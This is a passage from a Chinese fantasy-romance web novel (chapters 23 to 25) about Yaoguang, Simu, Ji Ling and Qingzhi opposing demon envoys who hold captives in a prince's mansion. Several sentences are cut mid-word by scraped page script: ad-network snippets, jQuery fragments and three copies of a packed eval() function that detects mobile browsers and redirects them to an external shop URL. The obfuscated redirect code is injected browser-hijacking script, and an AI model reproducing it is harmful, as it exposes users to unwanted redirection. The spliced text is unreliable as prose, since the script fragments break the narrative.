突然,吵闹声起,血腥味渐浓,瑶光模模糊糊地看到一个黑影朝她那处走近,眼神渐渐凝重。 竹筐被慢慢打开,一道清冷却柔和的声音飘然而至:“瑶光姑娘,久等了。” 听到这熟悉的声音,瑶光立马将手中法力散开,定睛一看,眼角眉梢都飞扬起毫不掩饰的惊喜。她眼前站立着一位身姿挺拔,如雪松般俊朗的男子。他居高临下地站着,刚蒙住面的黑布早已不见,露出他俊俏的脸庞。他的眼底含着一丝淡淡的笑意,仿佛一捧星屑落在里面,光华流转,温柔似水。 “司幕公子,你......” 瑶光欲言又止,还未等她问出口,司幕便已云淡风轻地说:“那位被绑缚的兄台已被我安置在城隍庙中,在下便来寻你了。 瑶光听着,心中泛起一股难以言喻的复杂情感。她试图将那奇怪的感觉抛之脑后,却引来司幕疑惑的目光。瑶光讪讪解释道:“先前在王府所中的毒还未解,我现在浑身无力,恐怕无法走回去了。” 司幕微微一笑,朝瑶光伸出手,“那便让在下背瑶光姑娘回去吧。” 在司幕温柔的目光注视下,瑶光鬼使神差地伸出手,抓住他的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 手。她只觉司幕冰冷的掌心此刻温暖无比,他的手指虽细瘦却有力。 待瑶光回过神时,她已趴在司幕背上。她闻着鼻间的血腥味,思绪渐渐飘远。她发现她其实很不了解面前这个刚认识不久的人。司幕公子身上似有一层云雾笼罩着,让人捉摸不透。他风姿如玉,谈吐不凡,略懂医术,还身手不凡,就连面对魔物也能面不改色,出手果决。 他定不是一般的人,但也绝不会是坏人,至少她靠在这陌生的肩上时,觉得十分可靠。她似乎从来没有怀疑过司幕会伤害她。 “愿我如星君如月,夜夜流光相皎洁。”司幕望向夜空,饶有兴致道:“瑶光姑娘,你看。” 瑶光顺着司幕的目光望去,只见头顶星河璀璨,如碎玉般洒落,映照在她晶莹的眸子里。这片熟悉的星光勾起了她在三生镇的回忆,那时他们微醺着,扶着双腿麻木的司幕漫步,路上也是这般绚烂的彩光点点。 阵阵凉风拂过,满天星辰的衬托下,瑶光感受着司幕的体温,心中不禁感慨:其实他们一直这样自在惬意地走下去也不错。 一片树叶轻轻飘落在司幕的发丝上,瑶光伸出手轻轻将其拂开,好奇道:“司幕公子,你为什么会习惯睡在树上?” 听到瑶光突如其来的问话,司幕先是一怔,随即眸中漾起点点笑意,反问道:“瑶光姑娘你怎知在下习惯睡在树上?” “我是神灵嘛,无所不知。”瑶光双耳微红。她总不能说她之前便有留意司幕鲜少睡在马车里,尤其昨天见他太晚未归,在窗边等他到半夜,待他安稳入睡在树上才回到床上休息吧。 “在下小时住的地方附近有野狼出没,睡在树上就不怕野狼袭击。” 在司幕背后的瑶光看不清他的表情,不知他是不是只在玩笑而已。于是,她问道:“当真?” 瑶光看着司幕的后脑勺点了点,“当真。” 她大惊失色:“司府以前竟如此凶险?” “在下自记事起就在山里长大,是之后才到的司府。” “可是司幕公子你......” “一点都不像是在山里长大的样子?”司幕想起了以前的日子,嘴角上扬,“因为在下小时遇到了一个女孩,她教在下读书写字,辨识善恶爱恨。” “她一定是很好的人。”瑶光心中泛起一丝懊恼,原来司幕公子心里早已有所属,亏她还一厢情愿地想要撮合姽婳姑娘与他。 司幕眼神灼热地凝视着她,毫不犹豫地答道:“嗯,她确实是世间最美好的人。”那眼神炽烈得让她误以为他所指的女子是自己。 瑶光怅然:“那她现在定在家中等待司幕公子回去团聚吧?” “非也,她不见了。”司幕说罢,停下脚步,侧过头看向背后的瑶光。 瑶光正巧与他意味深长的目光对上,如此近的距离令她心跳加速,脸颊泛起红晕。为了掩饰尴尬,她随口说道:“那司幕公子你还不赶快去找她回来?” “找到了又如何,她早已将我遗忘。”司幕语气低沉,透着淡淡的忧伤。 瑶光凝神望向眼前的男子,语气诚恳地说道:“怎么会?司幕公子你乃天人之姿,任何人见过你一眼都不可能忘记。” 她如此认真的模样令司幕晃了神,他连忙回过头看向前方,唇边掠过一抹苦笑。 “若司幕公子你换上其他衣裳便更好了。”瑶光看着司幕的背影许久,突然莫名其妙道。红色虽然衬得司幕公子风华绝代,但那件红衣实在太像娶亲的新郎服,每次看到她心里都有一种说不出的怪异感觉。 闻言,司幕心头一震,心情如同陷入冰窖。 他长长的睫毛下,一双琉璃眼眸变得深沉无比,几丝碎发零散地覆在他苍白的脸上,整个人透出一股深邃的沧桑与悲凉。 23. 神渡苍生不渡人(三) “师傅你放开我!” 刚将季伶带回城隍庙处,季昀之为了防止他冲出去做出傻事,用泡过弱水的绳索将其捆在椅上。而处于情绪失控中的季伶不停地扭身,试图用力挣脱开捆住自己的绳索,可那绳索却像是有生命力一般愈来愈紧。 他知道自己师傅将他带回来,是为了不想他去冒险,可是他没有办法对青稚的安坐视不管。他急赤白脸,眼冒血丝地哀求守在门旁的季昀之:“师傅!” 季昀之背对着季伶,一言不发。 “师傅!” 没有得到回应,季伶更加焦急地喊道:“师傅!青稚落入秦威手中,秦威睚眦必报,不会放过他的!我一定要去救他!” 季昀之叹息道:“我不会再让你冒险了。当初司幕回来通知我们时,我就不该答应让你们跟我一起去引开追兵。” “可事情已发生了,师傅!我们不能坐视不管,必须去救青稚!”喊着喊着,季伶因旧伤加上新伤,剧烈地咳嗽起来。他努力压低声音,却还是被季昀之敏锐地察觉。季昀之皱眉,迅速转身,拿起桌上的茶水,运气于掌中,一边轻拍季伶的后背,一边将茶水递到他嘴边。 “救什么救?你伤势未愈,秦威就让你如此吃力,他身旁的妖女你更不是对手。” 季伶微微侧过头,躲开茶水,嘴里一直喊着:“那师傅你跟我一起去不就好了吗!求求你了,师傅!” 激动之下,季伶因失去平衡跪倒在地。他全然不顾腿上的疼痛,仰起头望着季昀之,双眼猩红。 四目相对,季昀之闭上眼,深深地吸了一口气,将茶水重重地放回桌上,茶器清脆的碰撞声在严肃的气氛中显得格外刺耳。他坚持道:“不可。” “为何?师傅!为何不可?!”季伶急切地问道:“师傅你明明知道我与青稚从小一起长大,对无父无母的我来说他是我最重要的人!在三生城的时候你都愿意配合我救人,为何现在不可?!” “为师并非不愿意配合你救青稚,只是此事需要从长计议,制定周全的计划,你不可鲁莽行事。” 季昀之的回答并未让季伶满意。当时在三生城,他可以看着青稚不让他出事,但现在情况不同,他需要尽快救出青稚。他越想越担心,心急如焚地催促道:“来不及了!师傅!” 僵持之际,一道不合时宜的声音响起。 “仙君,是您回来了吗?” 陆堇平修长的身影出现在门口,他犹豫不决地站在那,不知是该进还是该退。他看向屋内的季昀之,问道:“之前您答应在下,回来后便助我去救被困在兵器锻造场的人,那现在咱们是否可以启程了?” “师傅?” 听到陆堇平的询问,季伶不解地看向季昀之,却只看到他闪躲的目光和背过去的背影。他质问道:“既然师傅可以帮陆公子救人,为何不能去救青稚?!” 陆堇平紧随其后说道:“仙人,在下那可是有数十人需要您去救!他们都是手无寸铁的百姓!” 两人一前一后地请求他,深思熟虑下,季昀之轻飘飘地问了一句:“季伶,救数十人与救一人,孰轻孰重?” 季伶眼中含着泪水,声音哽咽道:“师傅!我只知道现在青稚对我来说最重......” “季伶!你还未悟透!” 季昀之打断季伶的话,恨铁不成钢地训斥道:“当初你独自跌落在司府时,为师见你虽年幼却身怀慧根,有仙缘,便将你收为徒弟,悉心养育。” 回忆起当年因饥饿无力飞行而落在司府院子里,懵懂无知的小乌鸦,季昀之不禁感慨万千:“你还是孩子的时候,便爱到处乱逛。为师深知自由是鸟族的本性,也不拦着你,随你出去跟三生城的人相处,希望你多多历练,早日悟出仙道。” “本以为三生城的事过去后,你已经成长了,但现在看来你并没有,反倒跟人族相处太多,沾染了所谓的人性。” 季伶回忆起季昀之养育自己、教导自己的种种,意识到自己刚刚对他的失态,懊悔不已:“师傅......” “为师再问你一遍,救数十人与救一人,孰轻孰重?” “救......”面对着季昀之又一次的质问,季伶眼眶湿润,哽咽道:“救数十人......” “好。” 听到意料中的答案,季昀之轻轻一甩袖,季伶身上的绳索自动解开,如灵蛇般飞回季昀之的袖中。 “既然你明白了,”他快步走到门旁,侧头扫了季伶一眼,轻声道:“你现在伤势严重,救人的事不必跟我一起去,先休息吧。” “是......”季伶低眉垂目。 见季伶无精打采的模样,季昀之终究还是心软,不忍心地补充道:“为师并非不救青稚,只是此事牵连甚广,需要从长计议。况且,这百姓的安危更迫在眉睫,不容有失。救青稚一事,等为师与瑶光他们回来再议罢。” “再者,要是瑶光知道自己徒弟被抓走,定会马不停蹄地赶来助你救人。她若要去,司幕必会同行,有他们相助,定事半功倍。” 听到这儿,季伶原本空洞的双眼似有亮光闪过,他乖顺地回道:“是,师傅。” 季伶表面上的转变让季昀之悬着的心放了下来,他松了一口气,开始让陆堇平带路,去救兵器锻炼场的百姓们。 他们快步离开后,季伶跌坐在椅上,看着他们愈来愈小的身影渐渐消失,眼神阴晴不定。 陆堇平走着走着,感觉背后似有一把锋利的刀,随时准备将他一分为二。他回头看去,措不及防地对上季伶冷冽的双眸,吓得他差点被门槛绊倒。 季昀之疑惑地看向他,“怎么了?” 陆堇平只道是自己多疑了,便说:“无,无事。” 低垂的乱云从夜空缓缓掠过,凄凄凉风吹动纷乱的树影,簌簌声响里夹杂着起伏不定的虫吟声,如细雨般绵绵不绝,如季伶的内心杂乱无章。 过了好一会儿,季伶缓缓起身,如行尸走肉般在城隍庙前来回踱步,似是在等待着什么。渐渐地,他恍然间看到一道高大的人影忽远忽近,迫不及待地小跑过去。 待他走近时,他这才发现是司幕背着瑶光,只见他脸色淡漠,而背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像是溺水的人抓住了救命稻草,季伶连忙说道:“师傅去帮陆公子救兵器锻造场的百姓了,让我在这里等他。” “呵,等?等你师傅回来?还是等青稚的尸体?”司幕嘲讽道:“仙族还是一如既往的大爱无私啊。” 听到司幕对季昀之的讽刺,季伶维护道:“兵器锻造场那边要救的都是手无寸铁的百姓,那边情况紧急,而且师傅只是相信瑶光大人会......” 司幕冷笑:“会,会什么?他以为司瑶还是像以前一样吗?!” 司瑶,是谁? 是瑶光大人吗?为何称呼她为司瑶? 难道师傅和司幕之前就认识瑶光大人了? 季伶思绪纷乱,回过神来时,司幕已消失在他眼前。他慌乱地跑入内室,环顾四周,终于松了一口气。在内室的床榻上,瑶光一人静静地躺着休息,被褥严丝合缝地包裹着她,阻隔了夜里的寒风。 她睡得正安详。 24. 神渡苍生不渡人(四) 在一处潮湿幽暗的地牢里,青稚怒目圆睁,咬牙切齿地瞪着秦威,声音里透着无比的愤怒:“秦威,你别让我有机会杀你!” 秦威毫不在意青稚的威胁,反而嘴角泛起一丝讥讽的笑意。他一把抓住青稚的脸颊,目光冷厉地盯着对方,一字一句地说道:“放心,就算是要死,我也绝不会死在你这种小角色的手上。” 青稚呸了一声,朝秦威脸上吐了一口唾沫,毫不示弱地瞪了回去。 秦威脸色阴沉,用衣袖抹过脸上的唾沫,毫不客气地将他甩进了牢房。青稚被狠狠地摔在地上,发出一声闷响,剧痛袭来,让他感觉背部仿佛要裂开一般。本来就疼痛不止的右臂更疼了,喉咙中充斥着灰尘的味道,不由得剧烈咳嗽起来。 “咳咳咳……” “如果不是接到命令不能动你,我早就把你扔出去喂狗了。”秦威冷冷地说道,语气中充满了杀意。 青稚抬起头,脸上青紫的指痕清晰可见,眼神中却依然充满了顽强:“看是谁先把谁弄死!” “我倒是很期待看看你有什么本事。”秦威冷笑一声,将牢门用铁链锁得严严实实,金属碰撞在空荡的地牢里引起清脆的回响。他冷冷地瞥了一眼青稚,头也不回地离开了。 就在秦威快要走出地牢时,他突然感觉到背后有异动,不由得停下脚步,警惕地环顾四周:“谁在那里?!” 一个女声从阴影处传来,声音带着一丝冷厉警告的意味。 “下次你不许再独自行动。” 秦威眼中闪过一丝惊讶,然后笑了起来。 “噢,原来是我们蝶隐大人。”说着,秦威歪过头看向墙角阴影处的曼妙少女,不屑道:“你谁啊?蝶隐。你我都是副使,在魔军里职位相当,你有什么资格命令我?” 蝶隐的表情隐匿在阴影之中阴晴不明,只听她慢慢说:“就凭我随时可以让你死在这里。” “呵,就凭......” 话还未说完,他突然感觉到一股凉意从脖子后传来。他下意识地转头看去,眼中露出惊讶之色,原来是一只银蝶静静地停在他的脖颈旁,他竟然一直没有察觉到它的存在! “蝶隐,你竟然……”秦威的声音夹杂着惊讶和愤怒。 “为何不敢?”蝶隐从阴影中走出,眼神深邃难测,缓缓说道:“如果你再敢违背大人的命令,心存异志,我保证,你见不到明天的太阳。” 秦威冷笑:“要不是我亲自去寻找那只乌鸦精,你们怕还在追那白衣人,一无所获。” “哎呀,我怎么忘了呢?蝶隐姐姐可是亲自出手救了我。”秦威嘴角挂着猥琐的笑意,不怀好意地朝蝶隐走近,故意挑逗道:“要不要我以身相许来报答你的救命之恩?” 他在赌,以蝶隐对左使的忠诚,只要他对左使还有用,蝶隐绝对不敢轻易对他动手。他倒是要看看蝶隐能为了宿无做到什么地步。 他露骨的眼神让蝶隐警觉起来,不禁一步步退后,直到被逼到墙角。蝶隐紧贴着墙,气势逐渐衰弱。秦威见状,更加放肆地伸出双手,准备触摸蝶隐的脸颊。 蝶隐屏住呼吸,眼睛盯着银蝶距离秦威的颈动脉越来越近。就在银针即将触及秦威皮肤的瞬间,一声吆喝突然制止了蝶隐的法术,银蝶瞬间消失不见。 “秦威,蝶隐,你们这是在做什么?!” 是宿无的声音! 秦威猛地转头看去,只见宿无一身玄袍,站在不远处。他立刻收回手,战战兢兢地退到宿无身旁,向他恭敬地行了一礼,急忙说道:“大人,小的只是在感谢蝶隐副使的救命之恩。” 宿无挑眉,“噢?现在感谢同僚也要这么亲密?” 俯身中的秦威看不到宿无的脸庞,可不远处的蝶隐却将宿无的神情看得一清二楚,她看到他清隽俊逸的脸上尽是遮掩不住的阴霾,一边扬起的嘴角透露着嗜血的邪气。 她知道,宿无怒了。 “这……靠,靠得如此近也是因为有事商议,属下只是怕隔墙有耳。”野兽的直觉告诉秦威,他若一不小心说错话,必定会小命不保。 听到秦威的解释,宿无轻轻一笑,“那你继续说下去,本使好好听着。” “这……这……”秦威支支吾吾,脸上露出难以掩饰的尴尬之色。他突然想起季伶自噬妖术的情景,灵机一动,急忙提出:“季伶他们一定会来王府救青稚,我们可以准备一场宴会,利用这个机会给他们来个瓮中捉鳖,将他们一网打尽。” 宿无听了,微微点头,眼中闪过一丝思索之色。 “这个计策倒也不错,就交给你去安排了。” 听到宿无的许可,秦威松了一口气,谄媚道:“属下必为大人的魔族崛起大业鞠躬尽瘁!” 而在秦威抬起头的那一刻,宿无笑了,他拍了拍宿无的肩膀,一脸和蔼可亲的模样,“本使期待你的表现。” 宿无看向蝶隐,“蝶隐,有些事情需要你去处理,与我一起商议。” 蝶隐深深行了一礼,“是,大人。”话毕,她低眉垂目随着宿无离开地牢。 她太清楚宿无了,他怒了又如何,宿无向来公私分明,秦威不仅为他们找到了唤鸦之人并捉回了同伙,还给他出了主意。在这样的情况下,宿无没有理由对秦威出手。 何况,宿无是个为大业不惜一切的人,如果需要,他也可以舍弃她。 “蝶隐,你可知我的使命?” 宿无的话意味深长,蝶隐紧跟在他身后,低眉垂目,不假思索道:“蝶隐知。” 她怎会不知?正因为知道,她才甘愿受下灭族之罪,不惜潜入寂海忍受蚀骨之痛百年,也要寻回他的魔髓助他重生,继续完成那宏伟的大业。 宿无脚步微顿,侧头看向蝶隐,眼中闪过一丝不易察觉的复杂情绪:“委屈你了,蝶隐。刚刚秦威对你的无礼,本使日后会为你讨回公道。” 他顿了顿,声音放缓,带着一丝许诺:“待这大业完成,你有什么愿望,尽管提,本使必定满足你。” 蝶隐抬起头,清冷的眸光中映着宿无的脸庞,她缓缓说道:“蝶隐的愿望很简单的,大人。” 身心俱疲的她上前抱住宿无,将脸庞靠在他坚实的胸膛上,柔声道:“宿无,事成之后,我们回到蝴蝶谷好吗?我们重建一个新的蝴蝶谷,只属于我们的蝴蝶谷,在那里隐居余生,好吗?” 宿无的身体微微一僵,背对起蝶隐,一言不发。沉默如潮水般涌来,吞噬着蝶隐所有的美好愿景。她渐渐松开宿无,眼底染上了一抹自嘲。既然都选择了这条路,她还在期待些什么呢? 他对自己的温柔,不过是因为她还有利用价值罢了。 蝶隐正沉浸在沉思中,远远地瞧见一个小卒急冲冲地朝他们走来。小卒越来越近,蝶隐不着痕迹地扫了一眼宿无的身影,悄然站开一段距离,迎向小卒,问道:“怎么回事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13947284|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “左使大人好,副使大人好。”小卒难得见到这般大人物,受宠若惊,忙回道:“回副使大人,城里出事了,好几家成衣店里挂着的成衣消失不见了。” “城里的事情,应该交给衙役处理。” 小卒答道:“衙役那边因为兵器锻造场出了点事,去支援了。衙门里空空荡荡,小的只好回来看看能否有人帮忙抓贼。” “捉贼只是小事。”宿无背对着蝶隐,朝她发话:“既然兵器锻造场那边出事了,蝶隐你先去看看罢。” 蝶隐眉心微蹙,应了一声转身离开。这一幕看得小卒目瞪口呆,不愧是左使麾下的得力部下,都不用行礼就离开。 宿无叹了一口气,望着蝶隐走远的身影,眼眸深邃。转念一想,宿无瞄了一眼小卒,摆手道:“兵器锻造场的事比这重要得多,等会儿你去找秦副使一起帮忙。” “是的,左使大人。” 小卒低头应和,朝地牢走去。 * 地牢里,青稚早已用碎石划断了绳索,双手血肉模糊,右臂也传来阵阵剧痛。他深吸一口气,神情凝重,极其认真地咬字清晰地念起口诀:“凝神聚气,气聚丹田,运气自如,御物随性。” 话音刚落,青稚伸出指向牢房不远处巡逻小卒腰间的钥匙,猛地一勾。然而,那串厚重的钥匙却纹丝不动。他不甘心,咬紧牙关重复着念口诀及动作,却一次又一次地失败了。 “又失败了!” 顿时,他颓然地坐倒在地,无力感如潮水般涌上心头,愤恨地锤了一下身边的柱子,手被粗糙的木屑划破,木柱上血渍斑斑。 “御物术,不是这样的。” 青稚正欲放弃,耳边忽地传来一道清冷的声音。他抬头环顾四周,却空无一人,唯有巡逻的小卒和隔壁几个牢房被困得疯疯癫癫的人。 难道是幻觉?青稚苦笑,摇摇头,不再多想,全当是自己走火入魔了。 “要这样。”听罢,青稚感觉有东西朝他飞去,他迅速侧身躲过,转头发现那只是一根杂草,而那根杂草正如铁钉一般挺直,深深地插入他身旁的木柱里。 这回青稚看得清清楚楚,那根杂草是先从他面前浮起再朝他刺来的,这是——御物术,而且还不是一般的御物术。无需口诀便能施展如此高强的御物术,此人必定是精通御物术的高手。 青稚警惕地盯着四周,不知对方是敌是友。 只见隔壁牢房,阴影中隐约站着一名男子。他修长白皙的手撩起顺滑的长发,虚晃的焰火映照着他俊美绝伦的脸庞。高挺的鼻梁在阴影中投下覆影,骨相周正,眉眼轻挑,即使只是静静站立,也能让人感受到莫名的压迫感。 看到熟悉的面孔,青稚大吃一惊,脱口而出:“司幕公子!你怎么会在这里?” 司幕的目光落在青稚的右臂上,问道:“你受伤了?” 青稚倔强道:“只是小伤。” 司幕微微甩袖,盘膝坐在草席上,右手托腮,颇有仙家风骨。他轻言淡语道:“你师傅教你的仙家法术,耗时过长,需要根基结实,没有个三四年是练不出来的。” “既然如此耗时,那师傅为何要教我?” “这乃仙家一贯的教法,你也不必怪她。更何况,她并不想你以身犯险,便想以此拖住你。”他眯了眯眼,唇角微勾,问道:“但我有助你速成的法子,你可愿学?” “学!” 青稚眼神坚定。 25. 玉坠花落蝶留痕(一) 日光倾泻,洒落在内室的床榻上。瑶光正沉睡着,被艳阳晃醒,不禁伸手遮挡,慢慢睁开眼皮。她惬意一笑,温暖的阳光,柔软的床榻,对奔波了一夜的她来说,简直如同身处美梦般舒服自在。 突然间,迷迷糊糊中瑶光感觉屋内有异样。于是她一只手支起身来,环顾四周,在迷眼的日光里看见了一道修长的身影,头皮一阵发麻,立即清醒过来,连忙拉过被子遮挡在身前,试探性地唤道:“昀之仙君?” 季昀之端坐在桌旁,风姿高洁,一脸凝重:“我有事找你。” “是季伶出了什么事吗?”若不是季伶出事,瑶光实在想不出无欲无求的昀之仙君会对何事如此紧张。 被猜中心思的季昀之含糊其辞:“嗯......” “他怎么了?” “他......”季昀之说到一半,突然紧紧地抿着唇,不语。他的眉头紧锁,脸色阴沉,似乎在为难着什么。 仙君今日怎么古古怪怪的?瑶光如是想着,又念起了那日司幕救走的男子,故说道:“昨日司幕公子救的那人可还好?” 季昀之缓缓道:“一切无碍,我也已随他去兵器锻造场将剩余百姓救下。只是,他因着急入京赶考,带着族人先行离开了。” 瑶光松了口气:“他们都无事便好。”之后,又是一片沉默。 与屋内相反,此时屋外蝉声鸣鸣,聒噪得很,听得瑶光心里七上八下。昨日青稚还一脸认真地早起练功,为何现在没了声息? 顿时,瑶光脑海里浮现不祥的预感。她连忙掀开被衾下榻,随意穿上鞋,往室外走去,却见季伶高举着茶盘跪在院落中的树下,后背已被汗水浇湿。 瑶光愈发不安,轻声问道:“季伶,你做了什么事,你师傅为何要这样罚你?” “瑶光大人......我......”季伶低垂着眼眸,欲言又止。 季伶的态度无疑证实了她的猜测,瑶光急问道:“青稚呢?那臭小子该不会还在睡罢?司幕公子也是,都这个时辰了还不见人影,怕是昨夜太劳累还在树上歇着了。” 她朝着树上喊道:“司幕公子,司幕公子!” “瑶光大人,司幕公子他还未归来......”季伶咬紧下唇,声音细如蚊。 瑶光黛眉微蹙,问道:“怎会?我明明与他一同回来,虽然途中有昏睡过去,但我依稀记得你们似乎还有在谈话。” 季伶心虚地低下头,不敢直视瑶光的目光。 季昀之见状,叹了一口气,说道:“青稚被抓,司幕去王府救青稚,至今未归。” 瑶光闻言,脸色微变,抚额道:“青稚不是留在庙内吗?他怎会被抓?司幕公子本与我一起,怎会又去救青稚?” “都是我的错。”季伶声音低沉,充满了自责。 “司幕公子带陆公子回来请援时,我本以为远远地助师傅一臂之力即好,便准青稚与我同去。是我没有看好青稚,让青稚被秦威他们抓走了。” 说着,季伶余光看向季昀之,继续说道:“我担心青稚出事,师傅又要随陆公子去救百姓,正巧遇上司幕公子背着大人你回来,故劝说司幕公子去......” 季伶稍稍停顿了一下,又一脸视死如归地继续说道:“......去救青稚。” 瑶光闭上眼,深吸了一口气,质问道:“为何不与我商量再去救青稚?!” “来不及!”季伶急切地说道,“瑶光大人你回来时已昏睡过去,我担心青稚会有危险,来不及与你商量!” “那现在再搭上司幕公子就来得及了吗?!”瑶光一脸恨铁不成钢地看向季伶,他瘦削的身影透着茫然。她继续道:“秦威他们抓住青稚,定会利用他来限制我们,引我们出来。青稚一时半会儿绝不会有事,季伶你这关心则乱啊......” 季昀之挡在她的视野里,展开袖袍,像老鹰护小鸡一般直视瑶光,道:“瑶光,他是我的徒弟,他做错事了我会罚。” “我没说罚他。”瑶光错开视线,声音低沉,“只是,现在最坏的结果就是他们二人都在他们手上了。” 季昀之见她如此担忧,便出言安慰道:“你放心,以司幕的能力,定不会出事,且还能护着青稚。” “算了,都怪我。”若不是她深入虎穴,若不是她中了对方的暗算,这一系列事也不会发生。 季伶心中仍挂念青稚的安危,问道:“那我们现在怎么办?” 瑶光摇摇头,冷静地分析道:“救他们二人一事需要从长计议。一昨日我夜探王府,打草惊蛇,暴露了我们的行踪。现在司幕和青稚在他们手中,他们必然会提高警惕。若现在莽撞行事,岂不是将他们置于更加危险的境地?恐怕我们不但救不了人,还会把自己搭进去。” 季伶听完,心中一沉,自知理亏,哑口无言。他低下头,像泄了气的皮球一样,沮丧不已。 就在他们一筹莫展时,庙外突然传来脚步声,落叶被踩得沙沙作响。三人立刻警觉地看去,只见一位身穿水蓝色衣衫的佳人飘然而至,一颦一笑勾人心弦,正是姽婳姑娘手执食盒而来。 “瑶光姑娘,奴家有好消息!” 姽婳兴致勃勃地进庙,一看到三人黯然失神的模样,轻声问道:“瑶光姑娘,发生了何事?” “不,没什么事。”瑶光垂下眼眸,她不想将手无寸铁的姽婳姑娘卷入其中,便勉强地挤出笑容,问道:“姽婳姑娘所说的好消息是什么?” 婳沉吟片刻,款款走到石桌旁,放下食盒,从袖中取出一**份精致的请柬,递给季昀之:“这是宣阳王府的请柬。”她轻声说道,“三日后,宣阳王府将举办宴席,邀请了全城名门望族,还包括咱们莲馆参与演出。” 季昀之接过请柬,展开细读。他眸光微闪,意味深长地看向瑶光:“这是鸿门宴?” “这是何意?”姽婳黛眉微蹙,不解地问道。 瑶光虽在一旁频频使眼色,季昀之却视而不见,沉声说道:“昨夜,青稚被宣阳王府的人抓走,司幕去救他至今未归,凶多吉少。此时无缘无故举办宴席,恐怕是场鸿门宴。” 姽婳闻言,心中忧虑更甚,娥眉紧锁,低声道:“奴家本想借此机会入宣阳王府寻找姐姐,如今可如何是好?” 季昀之神情严肃,斩钉截铁地说道:“这宴席无论如何不能去!” "但这是救青稚的好机会啊。" "但这是找姐姐的好机会啊。"季伶和姽婳异口同声。 有了沅儿的前车之鉴,季伶自然是想越早将青稚救出越好。 姽婳则因为宣阳世子的警告,平日里无缘接近王府,若这次能名正言顺地进入王府,说不定就能找到些关于姐姐的线索,自然机不可失。 半晌,瑶光手持一卷小纸,出现在众人面前。她目光转向季伶道:“季伶,我需要借你的乌鸦一用。” 季伶闻言,挥手一挥,一只通体玄黑的乌鸦从天而降,乖巧地落在石桌上。 瑶光迅速抓住乌鸦,以指尖划破掌心,将鲜血涂抹在乌鸦额头上,鲜血瞬间隐没不见。她将卷纸绑在乌鸦脚上,轻轻拂过它背羽,低声呢喃道:“去吧。” 瑶光一套动作行云流水,乌鸦仿佛接收到了指令,振翅飞向天空,转眼间消失在天际。随后,她转身面对众人,微扬起精致的下巴。她眼眸中没有温婉和娇柔,取而代之的是独属于她自己的冷静与沉着。 她沉声说道:“是时候,轮到我们反客为主了。” 三日后。 宣阳王府内,仆人忙碌地布置着晚宴。丫鬟们在后花园采摘花卉,为宴会增添色彩;小厮们在总管指挥下悬挂红灯,系结彩绸;炊事房炊烟袅袅,众人有条不紊地准备膳食。 整个王府都笼罩在一片热闹喜庆之中,仿佛在述说着即将举行的宴席将是何等盛大壮观,却不知看不见的暗处里是否也如此。 还是与一样通往宣阳世子寝屋的路,可今日的王府的戒备更加森严,就连流连在外办事的魔兵魔将也已回巢。绿梨顶着无数魔兵蠢蠢欲动的眼神,沉着地抱着木箱走进宣阳世子寝屋。 一走进屋内,绿梨便看见“宣阳世子”坐在床边,身穿裹衣,由红榴颤颤巍巍地为他梳洗。宿无抬眸看见绿梨,待红榴梳洗完毕,便起身走到镜前,张开双臂,准备由绿梨为他穿戴新衣。。 绿梨神情淡然地打开木箱,取出金丝蛛纹缎面苍色深衣。她小心翼翼地展开衣裳,轻轻地为宿无穿上,并系上青玉绦带她细致的动作无疑取悦了宿无,他一直都很欣赏绿梨,所有世子院内剩下的人中唯有绿梨能面对他时如此从容不迫。 宿无试探地问道:“绿梨也到了花信年华,怎还未有夫婿?可有看上咱们府里的人?” 绿梨睫毛微不可察地一颤,恭敬答道:“绿梨自幼无父无母,能有瓦遮头,服侍世子已经是天大的幸事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954780|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从未想过婚嫁之事。” 宿无显然对她的回答并不满意,故作漫不经心地说道:“本世子平日里看招四对你颇有好感,日后你们二人一明一暗,为本世子所用,倒也甚好。” 绿梨踮起脚,为宿无整理发冠,浅浅一笑,说道:“世子所赐的姻缘,定是极好的,绿梨在此谢过世子。” “嗯。” 宿无心情愉悦地整理衣袍,看着镜中头戴玉冠,风度翩翩的自己,十分满意他现在的躯体——这宣阳世子果真有些姿色。 一只银蝶翩然飞入,宿无摆摆手,绿梨和红榴会意,退出屋内。 待她们走后,蝶隐从银蝶化成的银雾中现身,她仍一如既往的秀丽脱俗,却多了些许距离感。她神情略微伤感,说道:“大人,事情已经办妥了。” “你办事,我放心。”宿无眺望远方。 秦威正好来到门口,听到他们对话,连忙上前行礼,谄媚道:“左使大人办什么事,需要用到秦威吗?” “无事。本使只是吩咐蝶隐晚些留意来参加宴席的人,罢了。”宿无瞥了一眼秦威,“这个时候,你不是该在为今夜排兵布阵吗?” 秦威挠了挠头道:“属下已经都准备好了,这不就是来禀报大人您嘛。”转头,他又问:“大人您为何要找人?” 